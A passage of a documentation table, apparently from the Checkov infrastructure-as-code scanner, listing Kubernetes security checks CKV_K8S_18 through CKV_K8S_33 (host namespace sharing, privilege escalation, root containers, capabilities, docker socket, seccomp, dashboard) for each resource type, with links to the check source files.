[ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py) | | 103 | CKV_K8S_18 | resource | Deployment | Containers should not share the host IPC namespace | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py) | | 104 | CKV_K8S_18 | resource | Job | Containers should not share the host IPC namespace | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py) | | 105 | CKV_K8S_18 | resource | Pod | Containers should not share the host IPC namespace | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py) | | 106 | CKV_K8S_18 | resource | ReplicaSet | Containers should not share the host IPC namespace | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py) | | 107 | CKV_K8S_18 | resource | ReplicationController | Containers should not share the host IPC namespace | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py) | | 108 | CKV_K8S_18 | resource | StatefulSet | Containers should not share the host IPC namespace | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py) | | 109 | CKV_K8S_19 | resource | CronJob | Containers should not share the host network namespace | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py) | | 110 | CKV_K8S_19 | resource | DaemonSet | Containers should not share the host network namespace | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py) | | 111 | CKV_K8S_19 | resource | Deployment | Containers should not share the host network namespace | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py) | | 112 | CKV_K8S_19 | resource | Job | Containers should not share the host network namespace | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py) | | 113 | CKV_K8S_19 | resource | Pod | Containers should not share the host network namespace | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py) | | 114 | CKV_K8S_19 | resource | ReplicaSet | Containers should not share the host network namespace | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py) | | 115 | CKV_K8S_19 | resource | ReplicationController | Containers should not share the host network namespace | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py) | | 116 | CKV_K8S_19 | resource | StatefulSet | Containers should not share the host network namespace | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py) | | 117 | CKV_K8S_20 | resource | CronJob | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 118 | CKV_K8S_20 | resource | DaemonSet | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 119 | CKV_K8S_20 | resource | Deployment | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 120 | CKV_K8S_20 | resource | DeploymentConfig | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 121 | CKV_K8S_20 | resource | Job | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 122 | CKV_K8S_20 | resource | Pod | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 123 | CKV_K8S_20 | resource | PodTemplate | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 124 | CKV_K8S_20 | resource | ReplicaSet | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 125 | CKV_K8S_20 | resource | ReplicationController | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 126 | CKV_K8S_20 | resource | StatefulSet | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 127 | CKV_K8S_21 | resource | ConfigMap | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 128 | CKV_K8S_21 | resource | CronJob | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 129 | CKV_K8S_21 | resource | DaemonSet | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 130 | CKV_K8S_21 | resource | Deployment | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 131 | CKV_K8S_21 | resource | Ingress | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 132 | CKV_K8S_21 | resource | Job | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 133 | CKV_K8S_21 | resource | Pod | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 134 | CKV_K8S_21 | resource | ReplicaSet | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 135 | CKV_K8S_21 | resource | ReplicationController | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 136 | CKV_K8S_21 | resource | Role | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 137 | CKV_K8S_21 | resource | RoleBinding | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 138 | CKV_K8S_21 | resource | Secret | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 139 | CKV_K8S_21 | resource | Service | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 140 | CKV_K8S_21 | resource | ServiceAccount | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 141 | CKV_K8S_21 | resource | StatefulSet | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 142 | CKV_K8S_22 | resource | CronJob | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 143 | CKV_K8S_22 | resource | DaemonSet | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 144 | CKV_K8S_22 | resource | Deployment | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 145 | CKV_K8S_22 | resource | DeploymentConfig | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 146 | CKV_K8S_22 | resource | Job | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 147 | CKV_K8S_22 | resource | Pod | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 148 | CKV_K8S_22 | resource | PodTemplate | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 149 | CKV_K8S_22 | resource | ReplicaSet | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 150 | CKV_K8S_22 | resource | ReplicationController | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 151 | CKV_K8S_22 | resource | StatefulSet | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 152 | CKV_K8S_23 | resource | CronJob | Minimize the admission of root containers | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py) | | 153 | CKV_K8S_23 | resource | DaemonSet | Minimize the admission of root containers | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py) | | 154 | CKV_K8S_23 | resource | Deployment | Minimize the admission of root containers | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py) | | 155 | CKV_K8S_23 | resource | Job | Minimize the admission of root containers | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py) | | 156 | CKV_K8S_23 | resource | Pod | Minimize the admission of root containers | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py) | | 157 | CKV_K8S_23 | resource | ReplicaSet | Minimize the admission of root containers | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py) | | 158 | CKV_K8S_23 | resource | ReplicationController | Minimize the admission of root containers | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py) | | 159 | CKV_K8S_23 | resource | StatefulSet | Minimize the admission of root containers | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py) | | 160 | CKV_K8S_24 | resource | PodSecurityPolicy | Do not allow containers with added capability | Kubernetes | [AllowedCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesPSP.py) | | 161 | CKV_K8S_25 | resource | CronJob | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 162 | CKV_K8S_25 | resource | DaemonSet | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 163 | CKV_K8S_25 | resource | Deployment | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 164 | CKV_K8S_25 | resource | DeploymentConfig | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 165 | CKV_K8S_25 | resource | Job | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 166 | CKV_K8S_25 | resource | Pod | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 167 | CKV_K8S_25 | resource | PodTemplate | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 168 | CKV_K8S_25 | resource | ReplicaSet | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 169 | CKV_K8S_25 | resource | ReplicationController | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 170 | CKV_K8S_25 | resource | StatefulSet | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 171 | CKV_K8S_26 | resource | CronJob | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 172 | CKV_K8S_26 | resource | DaemonSet | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 173 | CKV_K8S_26 | resource | Deployment | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 174 | CKV_K8S_26 | resource | DeploymentConfig | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 175 | CKV_K8S_26 | resource | Job | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 176 | CKV_K8S_26 | resource | Pod | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 177 | CKV_K8S_26 | resource | PodTemplate | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 178 | CKV_K8S_26 | resource | ReplicaSet | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 179 | CKV_K8S_26 | resource | ReplicationController | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 180 | CKV_K8S_26 | resource | StatefulSet | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 181 | CKV_K8S_27 | resource | CronJob | Do not expose the docker daemon socket to containers | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py) | | 182 | CKV_K8S_27 | resource | DaemonSet | Do not expose the docker daemon socket to containers | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py) | | 183 | CKV_K8S_27 | resource | Deployment | Do not expose the docker daemon socket to containers | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py) | | 184 | CKV_K8S_27 | resource | Job | Do not expose the docker daemon socket to containers | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py) | | 185 | CKV_K8S_27 | resource | Pod | Do not expose the docker daemon socket to containers | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py) | | 186 | CKV_K8S_27 | resource | ReplicaSet | Do not expose the docker daemon socket to containers | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py) | | 187 | CKV_K8S_27 | resource | ReplicationController | Do not expose the docker daemon socket to containers | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py) | | 188 | CKV_K8S_27 | resource | StatefulSet | Do not expose the docker daemon socket to containers | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py) | | 189 | CKV_K8S_28 | resource | CronJob | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 190 | CKV_K8S_28 | resource | DaemonSet | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 191 | CKV_K8S_28 | resource | Deployment | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 192 | CKV_K8S_28 | resource | DeploymentConfig | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 193 | CKV_K8S_28 | resource | Job | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 194 | CKV_K8S_28 | resource | Pod | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 195 | CKV_K8S_28 | resource | PodTemplate | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 196 | CKV_K8S_28 | resource | ReplicaSet | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 197 | CKV_K8S_28 | resource | ReplicationController | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 198 | CKV_K8S_28 | resource | StatefulSet | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 199 | CKV_K8S_29 | resource | CronJob | Apply security context to your pods and containers | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py) | | 200 | CKV_K8S_29 | resource | DaemonSet | Apply security context to your pods and containers | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py) | | 201 | CKV_K8S_29 | resource | Deployment | Apply security context to your pods and containers | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py) | | 202 | CKV_K8S_29 | resource | Job | Apply security context to your pods and containers | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py) | | 203 | CKV_K8S_29 | resource | Pod | Apply security context to your pods and containers | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py) | | 204 | CKV_K8S_29 | resource | ReplicaSet | Apply security context to your pods and containers | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py) | | 205 | CKV_K8S_29 | resource | ReplicationController | Apply security context to your pods and containers | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py) | | 206 | CKV_K8S_29 | resource | StatefulSet | Apply security context to your pods and containers | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py) | | 207 | CKV_K8S_30 | resource | CronJob | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 208 | CKV_K8S_30 | resource | DaemonSet | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 209 | CKV_K8S_30 | resource | Deployment | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 210 | CKV_K8S_30 | resource | DeploymentConfig | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 211 | CKV_K8S_30 | resource | Job | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 212 | CKV_K8S_30 | resource | Pod | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 213 | CKV_K8S_30 | resource | PodTemplate | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 214 | CKV_K8S_30 | resource | ReplicaSet | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 215 | CKV_K8S_30 | resource | ReplicationController | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 216 | CKV_K8S_30 | resource | StatefulSet | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 217 | CKV_K8S_31 | resource | CronJob | Ensure that the seccomp profile is set to docker/default or runtime/default | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py) | | 218 | CKV_K8S_31 | resource | DaemonSet | Ensure that the seccomp profile is set to docker/default or runtime/default | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py) | | 219 | CKV_K8S_31 | resource | Deployment | Ensure that the seccomp profile is set to docker/default or runtime/default | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py) | | 220 | CKV_K8S_31 | resource | Job | Ensure that the seccomp profile is set to docker/default or runtime/default | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py) | | 221 | CKV_K8S_31 | resource | Pod | Ensure that the seccomp profile is set to docker/default or runtime/default | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py) | | 222 | CKV_K8S_31 | resource | ReplicaSet | Ensure that the seccomp profile is set to docker/default or runtime/default | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py) | | 223 | CKV_K8S_31 | resource | ReplicationController | Ensure that the seccomp profile is set to docker/default or runtime/default | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py) | | 224 | CKV_K8S_31 | resource | StatefulSet | Ensure that the seccomp profile is set to docker/default or runtime/default | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py) | | 225 | CKV_K8S_32 | resource | PodSecurityPolicy | Ensure default seccomp profile set to docker/default or runtime/default | Kubernetes | [SeccompPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SeccompPSP.py) | | 226 | CKV_K8S_33 | resource | CronJob | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 227 | CKV_K8S_33 | resource | DaemonSet | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 228 | CKV_K8S_33 | resource | Deployment | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 229 | CKV_K8S_33 | resource | DeploymentConfig | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 230 | CKV_K8S_33 | resource | Job | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 231 | CKV_K8S_33 | resource | Pod | Ensure the Kubernetes dashboard is not deployed | Kubernetes | 